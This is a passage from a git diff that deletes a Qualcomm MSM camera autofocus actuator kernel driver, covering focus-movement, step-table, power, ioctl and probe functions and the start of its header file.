(copy_from_user(&ringing_params_kernel, - &(move_params->ringing_params[0]), - sizeof(struct damping_params_t))) { - pr_err("copy_from_user failed\n"); - return -EFAULT; - } - - if (num_steps == 0) - return rc; - - a_ctrl->i2c_tbl_index = 0; - a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, - (num_steps * - a_ctrl->region_params[0].code_per_step), - ringing_params_kernel.hw_params, 0); - - reg_setting.reg_setting = a_ctrl->i2c_reg_tbl; - reg_setting.data_type = a_ctrl->i2c_data_type; - reg_setting.size = a_ctrl->i2c_tbl_index; - rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_write_table_w_microdelay( - &a_ctrl->i2c_client, ®_setting); - if (rc < 0) { - pr_err("i2c write error:%d\n", rc); - return rc; - } - a_ctrl->i2c_tbl_index = 0; - a_ctrl->curr_step_pos = dest_step_position; - CDBG("Exit\n"); - return rc; -} - -static int32_t msm_actuator_move_focus( - struct msm_actuator_ctrl_t *a_ctrl, - struct msm_actuator_move_params_t *move_params) -{ - int32_t rc = 0; - struct damping_params_t ringing_params_kernel; - int8_t sign_dir = move_params->sign_dir; - uint16_t step_boundary = 0; - uint16_t target_step_pos = 0; - uint16_t target_lens_pos = 0; - int16_t dest_step_pos = move_params->dest_step_pos; - uint16_t curr_lens_pos = 0; - int dir = move_params->dir; - int32_t num_steps = move_params->num_steps; - struct msm_camera_i2c_reg_setting reg_setting; - - if (a_ctrl->step_position_table == NULL) { - pr_err("Step Position Table is NULL"); - return -EFAULT; - } - - if (copy_from_user(&ringing_params_kernel, - &(move_params->ringing_params[a_ctrl->curr_region_index]), - sizeof(struct damping_params_t))) { - pr_err("copy_from_user failed\n"); - return -EFAULT; - } - - - CDBG("called, dir %d, num_steps %d\n", dir, num_steps); - - if (dest_step_pos == a_ctrl->curr_step_pos) - return rc; - - if ((sign_dir > MSM_ACTUATOR_MOVE_SIGNED_NEAR) || - (sign_dir < MSM_ACTUATOR_MOVE_SIGNED_FAR)) { - pr_err("Invalid sign_dir = %d\n", sign_dir); - return -EFAULT; - } - if ((dir > MOVE_FAR) || (dir < MOVE_NEAR)) { - pr_err("Invalid direction = %d\n", dir); - return -EFAULT; - } - if (dest_step_pos > a_ctrl->total_steps) { - pr_err("Step pos greater than total steps = %d\n", - dest_step_pos); - return -EFAULT; - } - curr_lens_pos = a_ctrl->step_position_table[a_ctrl->curr_step_pos]; - a_ctrl->i2c_tbl_index = 0; - CDBG("curr_step_pos =%d dest_step_pos =%d curr_lens_pos=%d\n", - a_ctrl->curr_step_pos, dest_step_pos, curr_lens_pos); - - while (a_ctrl->curr_step_pos != dest_step_pos) { - step_boundary = - a_ctrl->region_params[a_ctrl->curr_region_index]. - step_bound[dir]; - if ((dest_step_pos * sign_dir) <= - (step_boundary * sign_dir)) { - - target_step_pos = dest_step_pos; - target_lens_pos = - a_ctrl->step_position_table[target_step_pos]; - a_ctrl->func_tbl->actuator_write_focus(a_ctrl, - curr_lens_pos, - &ringing_params_kernel, - sign_dir, - target_lens_pos); - curr_lens_pos = target_lens_pos; - - } else { - target_step_pos = step_boundary; - target_lens_pos = - a_ctrl->step_position_table[target_step_pos]; - a_ctrl->func_tbl->actuator_write_focus(a_ctrl, - curr_lens_pos, - &ringing_params_kernel, - sign_dir, - target_lens_pos); - curr_lens_pos = target_lens_pos; - - a_ctrl->curr_region_index += sign_dir; - } - a_ctrl->curr_step_pos = target_step_pos; - } - - move_params->curr_lens_pos = curr_lens_pos; - reg_setting.reg_setting = a_ctrl->i2c_reg_tbl; - reg_setting.data_type = a_ctrl->i2c_data_type; - reg_setting.size = a_ctrl->i2c_tbl_index; - rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_write_table_w_microdelay( - &a_ctrl->i2c_client, ®_setting); - if (rc < 0) { - pr_err("i2c write error:%d\n", rc); - return rc; - } - a_ctrl->i2c_tbl_index = 0; - CDBG("Exit\n"); - - return rc; -} - -static int32_t msm_actuator_init_step_table(struct msm_actuator_ctrl_t *a_ctrl, - struct msm_actuator_set_info_t *set_info) -{ - int16_t code_per_step = 0; - int16_t cur_code = 0; - int16_t step_index = 0, region_index = 0; - uint16_t step_boundary = 0; - uint32_t max_code_size = 1; - uint16_t data_size = set_info->actuator_params.data_size; - CDBG("Enter\n"); - - for (; data_size > 0; data_size--) - max_code_size *= 2; - - if ((a_ctrl->actuator_state == ACTUATOR_POWER_UP) && - (a_ctrl->step_position_table != NULL)) { - kfree(a_ctrl->step_position_table); - } - a_ctrl->step_position_table = NULL; - - if (set_info->af_tuning_params.total_steps - > MAX_ACTUATOR_AF_TOTAL_STEPS) { - pr_err("Max actuator totalsteps exceeded = %d\n", - set_info->af_tuning_params.total_steps); - return -EFAULT; - } - /* Fill step position table */ - a_ctrl->step_position_table = - kzalloc(sizeof(uint16_t) * - (set_info->af_tuning_params.total_steps + 1), GFP_KERNEL); - - if (a_ctrl->step_position_table == NULL) - return -ENOMEM; - - cur_code = set_info->af_tuning_params.initial_code; - a_ctrl->step_position_table[step_index++] = cur_code; - for (region_index = 0; - region_index < a_ctrl->region_size; - region_index++) { - code_per_step = - a_ctrl->region_params[region_index].code_per_step; - step_boundary = - a_ctrl->region_params[region_index]. - step_bound[MOVE_NEAR]; - for (; step_index <= step_boundary; - step_index++) { - cur_code += code_per_step; - if (cur_code < max_code_size) - a_ctrl->step_position_table[step_index] = - cur_code; - else { - for (; step_index < - set_info->af_tuning_params.total_steps; - step_index++) - a_ctrl-> - step_position_table[ - step_index] = - max_code_size; - } - } - } - CDBG("Exit\n"); - return 0; -} - -static int32_t msm_actuator_set_default_focus( - struct msm_actuator_ctrl_t *a_ctrl, - struct msm_actuator_move_params_t *move_params) -{ - int32_t rc = 0; - CDBG("Enter\n"); - - if (a_ctrl->curr_step_pos != 0) - rc = a_ctrl->func_tbl->actuator_move_focus(a_ctrl, move_params); - CDBG("Exit\n"); - return rc; -} - -static int32_t msm_actuator_vreg_control(struct msm_actuator_ctrl_t *a_ctrl, - int config) -{ - int rc = 0, i, cnt; - struct msm_actuator_vreg *vreg_cfg; - - vreg_cfg = &a_ctrl->vreg_cfg; - cnt = vreg_cfg->num_vreg; - if (!cnt) - return 0; - - if (cnt >= MSM_ACTUATOT_MAX_VREGS) { - pr_err("%s failed %d cnt %d\n", __func__, __LINE__, cnt); - return -EINVAL; - } - - for (i = 0; i < cnt; i++) { - rc = msm_camera_config_single_vreg(&(a_ctrl->pdev->dev), - &vreg_cfg->cam_vreg[i], - (struct regulator **)&vreg_cfg->data[i], - config); - } - return rc; -} - -static int32_t msm_actuator_power_down(struct msm_actuator_ctrl_t *a_ctrl) -{ - int32_t rc = 0; - CDBG("Enter\n"); - if (a_ctrl->actuator_state != ACTUATOR_POWER_DOWN) { - if (a_ctrl->vcm_enable) { - rc = gpio_direction_output(a_ctrl->vcm_pwd, 0); - if (!rc) - gpio_free(a_ctrl->vcm_pwd); - } - - rc = msm_actuator_vreg_control(a_ctrl, 0); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - - if (a_ctrl->step_position_table != NULL) - kfree(a_ctrl->step_position_table); - a_ctrl->step_position_table = NULL; - if (a_ctrl->i2c_reg_tbl != NULL) - kfree(a_ctrl->i2c_reg_tbl); - a_ctrl->i2c_reg_tbl = NULL; - a_ctrl->i2c_tbl_index = 0; - a_ctrl->actuator_state = ACTUATOR_POWER_DOWN; - } - CDBG("Exit\n"); - return rc; -} - -static int32_t msm_actuator_set_position( - struct msm_actuator_ctrl_t *a_ctrl, - struct msm_actuator_set_position_t *set_pos) -{ - int32_t rc = 0; - int32_t index; - uint16_t next_lens_position; - uint16_t delay; - uint32_t hw_params = 0; - struct msm_camera_i2c_reg_setting reg_setting; - CDBG("%s Enter %d\n", __func__, __LINE__); - if (set_pos->number_of_steps == 0) - return rc; - - a_ctrl->i2c_tbl_index = 0; - for (index = 0; index < set_pos->number_of_steps; index++) { - next_lens_position = set_pos->pos[index]; - delay = set_pos->delay[index]; - a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, - next_lens_position, hw_params, delay); - - reg_setting.reg_setting = a_ctrl->i2c_reg_tbl; - reg_setting.size = a_ctrl->i2c_tbl_index; - reg_setting.data_type = a_ctrl->i2c_data_type; - - rc = a_ctrl->i2c_client.i2c_func_tbl-> - i2c_write_table_w_microdelay( - &a_ctrl->i2c_client, ®_setting); - if (rc < 0) { - pr_err("%s Failed I2C write Line %d\n", - __func__, __LINE__); - return rc; - } - a_ctrl->i2c_tbl_index = 0; - } - CDBG("%s exit %d\n", __func__, __LINE__); - return rc; -} - -static int32_t msm_actuator_set_param(struct msm_actuator_ctrl_t *a_ctrl, - struct msm_actuator_set_info_t *set_info) { - struct reg_settings_t *init_settings = NULL; - int32_t rc = -EFAULT; - uint16_t i = 0; - struct msm_camera_cci_client *cci_client = NULL; - CDBG("Enter\n"); - - for (i = 0; i < ARRAY_SIZE(actuators); i++) { - if (set_info->actuator_params.act_type == - actuators[i]->act_type) { - a_ctrl->func_tbl = &actuators[i]->func_tbl; - rc = 0; - } - } - - if (rc < 0) { - pr_err("Actuator function table not found\n"); - return rc; - } - if (set_info->af_tuning_params.total_steps - > MAX_ACTUATOR_AF_TOTAL_STEPS) { - pr_err("Max actuator totalsteps exceeded = %d\n", - set_info->af_tuning_params.total_steps); - return -EFAULT; - } - if (set_info->af_tuning_params.region_size - > MAX_ACTUATOR_REGION) { - pr_err("MAX_ACTUATOR_REGION is exceeded.\n"); - return -EFAULT; - } - - a_ctrl->region_size = set_info->af_tuning_params.region_size; - a_ctrl->pwd_step = set_info->af_tuning_params.pwd_step; - a_ctrl->total_steps = set_info->af_tuning_params.total_steps; - - if (copy_from_user(&a_ctrl->region_params, - (void *)set_info->af_tuning_params.region_params, - a_ctrl->region_size * sizeof(struct region_params_t))) - return -EFAULT; - - if (a_ctrl->act_device_type == MSM_CAMERA_PLATFORM_DEVICE) { - cci_client = a_ctrl->i2c_client.cci_client; - cci_client->sid = - set_info->actuator_params.i2c_addr >> 1; - cci_client->retries = 3; - cci_client->id_map = 0; - cci_client->cci_i2c_master = a_ctrl->cci_master; - } else { - a_ctrl->i2c_client.client->addr = - set_info->actuator_params.i2c_addr; - } - - a_ctrl->i2c_data_type = set_info->actuator_params.i2c_data_type; - a_ctrl->i2c_client.addr_type = set_info->actuator_params.i2c_addr_type; - if (set_info->actuator_params.reg_tbl_size <= - MAX_ACTUATOR_REG_TBL_SIZE) { - a_ctrl->reg_tbl_size = set_info->actuator_params.reg_tbl_size; - } else { - a_ctrl->reg_tbl_size = 0; - pr_err("MAX_ACTUATOR_REG_TBL_SIZE is exceeded.\n"); - return -EFAULT; - } - - if ((a_ctrl->actuator_state == ACTUATOR_POWER_UP) && - (a_ctrl->i2c_reg_tbl != NULL)) { - kfree(a_ctrl->i2c_reg_tbl); - } - a_ctrl->i2c_reg_tbl = NULL; - a_ctrl->i2c_reg_tbl = - kzalloc(sizeof(struct msm_camera_i2c_reg_array) * - (set_info->af_tuning_params.total_steps + 1), GFP_KERNEL); - if (!a_ctrl->i2c_reg_tbl) { - pr_err("kzalloc fail\n"); - return -ENOMEM; - } - - if (copy_from_user(&a_ctrl->reg_tbl, - (void *)set_info->actuator_params.reg_tbl_params, - a_ctrl->reg_tbl_size * - sizeof(struct msm_actuator_reg_params_t))) { - kfree(a_ctrl->i2c_reg_tbl); - a_ctrl->i2c_reg_tbl = NULL; - return -EFAULT; - } - - if (set_info->actuator_params.init_setting_size && - set_info->actuator_params.init_setting_size - <= MAX_ACTUATOR_REG_TBL_SIZE) { - if (a_ctrl->func_tbl->actuator_init_focus) { - init_settings = kzalloc(sizeof(struct reg_settings_t) * - (set_info->actuator_params.init_setting_size), - GFP_KERNEL); - if (init_settings == NULL) { - kfree(a_ctrl->i2c_reg_tbl); - a_ctrl->i2c_reg_tbl = NULL; - pr_err("Error allocating memory for init_settings\n"); - return -EFAULT; - } - if (copy_from_user(init_settings, - (void *)set_info->actuator_params.init_settings, - set_info->actuator_params.init_setting_size * - sizeof(struct reg_settings_t))) { - kfree(init_settings); - kfree(a_ctrl->i2c_reg_tbl); - a_ctrl->i2c_reg_tbl = NULL; - pr_err("Error copying init_settings\n"); - return -EFAULT; - } - rc = a_ctrl->func_tbl->actuator_init_focus(a_ctrl, - set_info->actuator_params.init_setting_size, - init_settings); - kfree(init_settings); - init_settings = NULL; - if (rc < 0) { - kfree(a_ctrl->i2c_reg_tbl); - a_ctrl->i2c_reg_tbl = NULL; - pr_err("Error actuator_init_focus\n"); - return -EFAULT; - } - } - } - - a_ctrl->initial_code = set_info->af_tuning_params.initial_code; - if (a_ctrl->func_tbl->actuator_init_step_table) - rc = a_ctrl->func_tbl-> - actuator_init_step_table(a_ctrl, set_info); - - a_ctrl->curr_step_pos = 0; - a_ctrl->curr_region_index = 0; - a_ctrl->actuator_state = ACTUATOR_POWER_UP; - CDBG("Exit\n"); - - return rc; -} - -static int msm_actuator_init(struct msm_actuator_ctrl_t *a_ctrl) -{ - int rc = 0; - CDBG("Enter\n"); - if (!a_ctrl) { - pr_err("failed\n"); - return -EINVAL; - } - if (a_ctrl->act_device_type == MSM_CAMERA_PLATFORM_DEVICE) { - rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_util( - &a_ctrl->i2c_client, MSM_CCI_INIT); - if (rc < 0) - pr_err("cci_init failed\n"); - } - CDBG("Exit\n"); - return rc; -} - -static int32_t msm_actuator_config(struct msm_actuator_ctrl_t *a_ctrl, - void __user *argp) -{ - struct msm_actuator_cfg_data *cdata = - (struct msm_actuator_cfg_data *)argp; - int32_t rc = 0; - mutex_lock(a_ctrl->actuator_mutex); - CDBG("Enter\n"); - CDBG("%s type %d\n", __func__, cdata->cfgtype); - switch (cdata->cfgtype) { - case CFG_ACTUATOR_INIT: - rc = msm_actuator_init(a_ctrl); - if (rc < 0) - pr_err("msm_actuator_init failed %d\n", rc); - break; - case CFG_GET_ACTUATOR_INFO: - cdata->is_af_supported = 1; - cdata->cfg.cam_name = a_ctrl->cam_name; - break; - - case CFG_SET_ACTUATOR_INFO: - rc = msm_actuator_set_param(a_ctrl, &cdata->cfg.set_info); - if (rc < 0) - pr_err("init table failed %d\n", rc); - break; - - case CFG_SET_DEFAULT_FOCUS: - rc = a_ctrl->func_tbl->actuator_set_default_focus(a_ctrl, - &cdata->cfg.move); - if (rc < 0) - pr_err("move focus failed %d\n", rc); - break; - - case CFG_MOVE_FOCUS: - rc = a_ctrl->func_tbl->actuator_move_focus(a_ctrl, - &cdata->cfg.move); - if (rc < 0) - pr_err("move focus failed %d\n", rc); - break; - case CFG_ACTUATOR_POWERDOWN: - rc = msm_actuator_power_down(a_ctrl); - if (rc < 0) - pr_err("msm_actuator_power_down failed %d\n", rc); - break; - - case CFG_SET_POSITION: - rc = a_ctrl->func_tbl->actuator_set_position(a_ctrl, - &cdata->cfg.setpos); - if (rc < 0) - pr_err("actuator_set_position failed %d\n", rc); - break; - - case CFG_ACTUATOR_POWERUP: - rc = msm_actuator_power_up(a_ctrl); - if (rc < 0) - pr_err("Failed actuator power up%d\n", rc); - break; - - default: - break; - } - mutex_unlock(a_ctrl->actuator_mutex); - CDBG("Exit\n"); - return rc; -} - -static int32_t msm_actuator_get_subdev_id(struct msm_actuator_ctrl_t *a_ctrl, - void *arg) -{ - uint32_t *subdev_id = (uint32_t *)arg; - CDBG("Enter\n"); - if (!subdev_id) { - pr_err("failed\n"); - return -EINVAL; - } - if (a_ctrl->act_device_type == MSM_CAMERA_PLATFORM_DEVICE) - *subdev_id = a_ctrl->pdev->id; - else - *subdev_id = a_ctrl->subdev_id; - - CDBG("subdev_id %d\n", *subdev_id); - CDBG("Exit\n"); - return 0; -} - -static struct msm_camera_i2c_fn_t msm_sensor_cci_func_tbl = { - .i2c_read = msm_camera_cci_i2c_read, - .i2c_read_seq = msm_camera_cci_i2c_read_seq, - .i2c_write = msm_camera_cci_i2c_write, - .i2c_write_table = msm_camera_cci_i2c_write_table, - .i2c_write_seq_table = msm_camera_cci_i2c_write_seq_table, - .i2c_write_table_w_microdelay = - msm_camera_cci_i2c_write_table_w_microdelay, - .i2c_util = msm_sensor_cci_i2c_util, - .i2c_poll = msm_camera_cci_i2c_poll, -}; - -static struct msm_camera_i2c_fn_t msm_sensor_qup_func_tbl = { - .i2c_read = msm_camera_qup_i2c_read, - .i2c_read_seq = msm_camera_qup_i2c_read_seq, - .i2c_write = msm_camera_qup_i2c_write, - .i2c_write_table = msm_camera_qup_i2c_write_table, - .i2c_write_seq_table = msm_camera_qup_i2c_write_seq_table, - .i2c_write_table_w_microdelay = - msm_camera_qup_i2c_write_table_w_microdelay, - .i2c_poll = msm_camera_qup_i2c_poll, -}; - -static int msm_actuator_close(struct v4l2_subdev *sd, - struct v4l2_subdev_fh *fh) { - int rc = 0; - struct msm_actuator_ctrl_t *a_ctrl = v4l2_get_subdevdata(sd); - CDBG("Enter\n"); - if (!a_ctrl) { - pr_err("failed\n"); - return -EINVAL; - } - if (a_ctrl->act_device_type == MSM_CAMERA_PLATFORM_DEVICE) { - rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_util( - &a_ctrl->i2c_client, MSM_CCI_RELEASE); - if (rc < 0) - pr_err("cci_init failed\n"); - } - kfree(a_ctrl->i2c_reg_tbl); - a_ctrl->i2c_reg_tbl = NULL; - - CDBG("Exit\n"); - return rc; -} - -static const struct v4l2_subdev_internal_ops msm_actuator_internal_ops = { - .close = msm_actuator_close, -}; - -static long msm_actuator_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - struct msm_actuator_ctrl_t *a_ctrl = v4l2_get_subdevdata(sd); - void __user *argp = (void __user *)arg; - CDBG("Enter\n"); - CDBG("%s:%d a_ctrl %p argp %p\n", __func__, __LINE__, a_ctrl, argp); - switch (cmd) { - case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: - return msm_actuator_get_subdev_id(a_ctrl, argp); - case VIDIOC_MSM_ACTUATOR_CFG: - return msm_actuator_config(a_ctrl, argp); - case MSM_SD_SHUTDOWN: - msm_actuator_close(sd, NULL); - return 0; - default: - return -ENOIOCTLCMD; - } -} - -static int32_t msm_actuator_power_up(struct msm_actuator_ctrl_t *a_ctrl) -{ - int rc = 0; - CDBG("%s called\n", __func__); - - CDBG("vcm info: %d %d\n", a_ctrl->vcm_pwd, - a_ctrl->vcm_enable); - - rc = msm_actuator_vreg_control(a_ctrl, 1); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - - if (a_ctrl->vcm_enable) { - rc = gpio_request(a_ctrl->vcm_pwd, "msm_actuator"); - if (!rc) { - CDBG("Enable VCM PWD\n"); - gpio_direction_output(a_ctrl->vcm_pwd, 1); - } - } - CDBG("Exit\n"); - return rc; -} - -static int32_t msm_actuator_power(struct v4l2_subdev *sd, int on) -{ - int rc = 0; - struct msm_actuator_ctrl_t *a_ctrl = v4l2_get_subdevdata(sd); - CDBG("Enter\n"); - mutex_lock(a_ctrl->actuator_mutex); - if (on) - rc = msm_actuator_power_up(a_ctrl); - else - rc = msm_actuator_power_down(a_ctrl); - mutex_unlock(a_ctrl->actuator_mutex); - CDBG("Exit\n"); - return rc; -} - -static struct v4l2_subdev_core_ops msm_actuator_subdev_core_ops = { - .ioctl = msm_actuator_subdev_ioctl, - .s_power = msm_actuator_power, -}; - -static struct v4l2_subdev_ops msm_actuator_subdev_ops = { - .core = &msm_actuator_subdev_core_ops, -}; - -static const struct i2c_device_id msm_actuator_i2c_id[] = { - {"qcom,actuator", (kernel_ulong_t)NULL}, - { } -}; - -static int32_t msm_actuator_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - int rc = 0; - struct msm_actuator_ctrl_t *act_ctrl_t = NULL; - CDBG("Enter\n"); - - if (client == NULL) { - pr_err("msm_actuator_i2c_probe: client is null\n"); - rc = -EINVAL; - goto probe_failure; - } - - act_ctrl_t = kzalloc(sizeof(struct msm_actuator_ctrl_t), - GFP_KERNEL); - if (!act_ctrl_t) { - pr_err("%s:%d failed no memory\n", __func__, __LINE__); - return -ENOMEM; - } - - if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { - pr_err("i2c_check_functionality failed\n"); - goto probe_failure; - } - - CDBG("client = 0x%p\n", client); - - rc = of_property_read_u32(client->dev.of_node, "cell-index", - &act_ctrl_t->subdev_id); - CDBG("cell-index %d, rc %d\n", act_ctrl_t->subdev_id, rc); - if (rc < 0) { - pr_err("failed rc %d\n", rc); - return rc; - } - - act_ctrl_t->i2c_driver = &msm_actuator_i2c_driver; - act_ctrl_t->i2c_client.client = client; - act_ctrl_t->curr_step_pos = 0, - act_ctrl_t->curr_region_index = 0, - /* Set device type as I2C */ - act_ctrl_t->act_device_type = MSM_CAMERA_I2C_DEVICE; - act_ctrl_t->i2c_client.i2c_func_tbl = &msm_sensor_qup_func_tbl; - act_ctrl_t->act_v4l2_subdev_ops = &msm_actuator_subdev_ops; - act_ctrl_t->actuator_mutex = &msm_actuator_mutex; - - act_ctrl_t->cam_name = act_ctrl_t->subdev_id; - CDBG("act_ctrl_t->cam_name: %d", act_ctrl_t->cam_name); - /* Assign name for sub device */ - snprintf(act_ctrl_t->msm_sd.sd.name, sizeof(act_ctrl_t->msm_sd.sd.name), - "%s", act_ctrl_t->i2c_driver->driver.name); - - /* Initialize sub device */ - v4l2_i2c_subdev_init(&act_ctrl_t->msm_sd.sd, - act_ctrl_t->i2c_client.client, - act_ctrl_t->act_v4l2_subdev_ops); - v4l2_set_subdevdata(&act_ctrl_t->msm_sd.sd, act_ctrl_t); - act_ctrl_t->msm_sd.sd.internal_ops = &msm_actuator_internal_ops; - act_ctrl_t->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - media_entity_init(&act_ctrl_t->msm_sd.sd.entity, 0, NULL, 0); - act_ctrl_t->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - act_ctrl_t->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_ACTUATOR; - act_ctrl_t->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x2; - msm_sd_register(&act_ctrl_t->msm_sd); - act_ctrl_t->actuator_state = ACTUATOR_POWER_DOWN; - pr_info("msm_actuator_i2c_probe: succeeded\n"); - CDBG("Exit\n"); - -probe_failure: - return rc; -} - -static int32_t msm_actuator_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - struct msm_camera_cci_client *cci_client = NULL; - struct msm_actuator_ctrl_t *msm_actuator_t = NULL; - struct msm_actuator_vreg *vreg_cfg; - CDBG("Enter\n"); - - if (!pdev->dev.of_node) { - pr_err("of_node NULL\n"); - return -EINVAL; - } - - msm_actuator_t = kzalloc(sizeof(struct msm_actuator_ctrl_t), - GFP_KERNEL); - if (!msm_actuator_t) { - pr_err("%s:%d failed no memory\n", __func__, __LINE__); - return -ENOMEM; - } - rc = of_property_read_u32((&pdev->dev)->of_node, "cell-index", - &pdev->id); - CDBG("cell-index %d, rc %d\n", pdev->id, rc); - if (rc < 0) { - kfree(msm_actuator_t); - pr_err("failed rc %d\n", rc); - return rc; - } - - rc = of_property_read_u32((&pdev->dev)->of_node, "qcom,cci-master", - &msm_actuator_t->cci_master); - CDBG("qcom,cci-master %d, rc %d\n", msm_actuator_t->cci_master, rc); - if (rc < 0) { - kfree(msm_actuator_t); - pr_err("failed rc %d\n", rc); - return rc; - } - - if (of_find_property((&pdev->dev)->of_node, - "qcom,cam-vreg-name", NULL)) { - vreg_cfg = &msm_actuator_t->vreg_cfg; - rc = msm_camera_get_dt_vreg_data((&pdev->dev)->of_node, - &vreg_cfg->cam_vreg, &vreg_cfg->num_vreg); - if (rc < 0) { - kfree(msm_actuator_t); - pr_err("failed rc %d\n", rc); - return rc; - } - } - - msm_actuator_t->act_v4l2_subdev_ops = &msm_actuator_subdev_ops; - msm_actuator_t->actuator_mutex = &msm_actuator_mutex; - msm_actuator_t->cam_name = pdev->id; - - /* Set platform device handle */ - msm_actuator_t->pdev = pdev; - /* Set device type as platform device */ - msm_actuator_t->act_device_type = MSM_CAMERA_PLATFORM_DEVICE; - msm_actuator_t->i2c_client.i2c_func_tbl = &msm_sensor_cci_func_tbl; - msm_actuator_t->i2c_client.cci_client = kzalloc(sizeof( - struct msm_camera_cci_client), GFP_KERNEL); - if (!msm_actuator_t->i2c_client.cci_client) { - kfree(msm_actuator_t->vreg_cfg.cam_vreg); - kfree(msm_actuator_t); - pr_err("failed no memory\n"); - return -ENOMEM; - } - - cci_client = msm_actuator_t->i2c_client.cci_client; - cci_client->cci_subdev = msm_cci_get_subdev(); - cci_client->cci_i2c_master = MASTER_MAX; - v4l2_subdev_init(&msm_actuator_t->msm_sd.sd, - msm_actuator_t->act_v4l2_subdev_ops); - v4l2_set_subdevdata(&msm_actuator_t->msm_sd.sd, msm_actuator_t); - msm_actuator_t->msm_sd.sd.internal_ops = &msm_actuator_internal_ops; - msm_actuator_t->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - snprintf(msm_actuator_t->msm_sd.sd.name, - ARRAY_SIZE(msm_actuator_t->msm_sd.sd.name), "msm_actuator"); - media_entity_init(&msm_actuator_t->msm_sd.sd.entity, 0, NULL, 0); - msm_actuator_t->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - msm_actuator_t->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_ACTUATOR; - msm_actuator_t->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x2; - msm_sd_register(&msm_actuator_t->msm_sd); - msm_actuator_t->actuator_state = ACTUATOR_POWER_DOWN; - CDBG("Exit\n"); - return rc; -} - -static const struct of_device_id msm_actuator_i2c_dt_match[] = { - {.compatible = "qcom,actuator"}, - {} -}; - -MODULE_DEVICE_TABLE(of, msm_actuator_i2c_dt_match); - -static struct i2c_driver msm_actuator_i2c_driver = { - .id_table = msm_actuator_i2c_id, - .probe = msm_actuator_i2c_probe, - .remove = __exit_p(msm_actuator_i2c_remove), - .driver = { - .name = "qcom,actuator", - .owner = THIS_MODULE, - .of_match_table = msm_actuator_i2c_dt_match, - }, -}; - -static const struct of_device_id msm_actuator_dt_match[] = { - {.compatible = "qcom,actuator", .data = NULL}, - {} -}; - -MODULE_DEVICE_TABLE(of, msm_actuator_dt_match); - -static struct platform_driver msm_actuator_platform_driver = { - .driver = { - .name = "qcom,actuator", - .owner = THIS_MODULE, - .of_match_table = msm_actuator_dt_match, - }, -}; - -static int __init msm_actuator_init_module(void) -{ - int32_t rc = 0; - CDBG("Enter\n"); - rc = platform_driver_probe(&msm_actuator_platform_driver, - msm_actuator_platform_probe); - if (!rc) - return rc; - CDBG("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&msm_actuator_i2c_driver); -} - -static struct msm_actuator msm_vcm_actuator_table = { - .act_type = ACTUATOR_VCM, - .func_tbl = { - .actuator_init_step_table = msm_actuator_init_step_table, - .actuator_move_focus = msm_actuator_move_focus, - .actuator_write_focus = msm_actuator_write_focus, - .actuator_set_default_focus = msm_actuator_set_default_focus, - .actuator_init_focus = msm_actuator_init_focus, - .actuator_parse_i2c_params = msm_actuator_parse_i2c_params, - .actuator_set_position = msm_actuator_set_position, - }, -}; - -static struct msm_actuator msm_piezo_actuator_table = { - .act_type = ACTUATOR_PIEZO, - .func_tbl = { - .actuator_init_step_table = NULL, - .actuator_move_focus = msm_actuator_piezo_move_focus, - .actuator_write_focus = NULL, - .actuator_set_default_focus = - msm_actuator_piezo_set_default_focus, - .actuator_init_focus = msm_actuator_init_focus, - .actuator_parse_i2c_params = msm_actuator_parse_i2c_params, - }, -}; - -module_init(msm_actuator_init_module); -MODULE_DESCRIPTION("MSM ACTUATOR"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.h deleted file mode 100644 index e00380b62bab7..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.h +++ /dev/null @@ -1,106 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#ifndef MSM_ACTUATOR_H -#define MSM_ACTUATOR_H - -#include -#include -#include -#include -#include -#include "msm_camera_i2c.h" -#include "msm_camera_dt_util.h" -#include "msm_camera_io_util.h" - - -#define DEFINE_MSM_MUTEX(mutexname) \ - static struct mutex mutexname = __MUTEX_INITIALIZER(mutexname) - -#define MSM_ACTUATOT_MAX_VREGS (10) - -struct msm_actuator_ctrl_t; - -enum msm_actuator_state_t { - ACTUATOR_POWER_DOWN, - ACTUATOR_POWER_UP, -}; - -struct msm_actuator_func_tbl { - int32_t (*actuator_i2c_write_b_af)(struct msm_actuator_ctrl_t *, - uint8_t, - uint8_t); - int32_t (*actuator_init_step_table)(struct msm_actuator_ctrl_t *, - struct msm_actuator_set_info_t *); - int32_t (*actuator_init_focus)(struct msm_actuator_ctrl_t *, - uint16_t, struct reg_settings_t *); - int32_t (*actuator_set_default_focus) (struct msm_actuator_ctrl_t *, - struct msm_actuator_move_params_t *); - int32_t (*actuator_move_focus) (struct msm_actuator_ctrl_t *, - struct msm_actuator_move_params_t *); - void (*actuator_parse_i2c_params)(struct 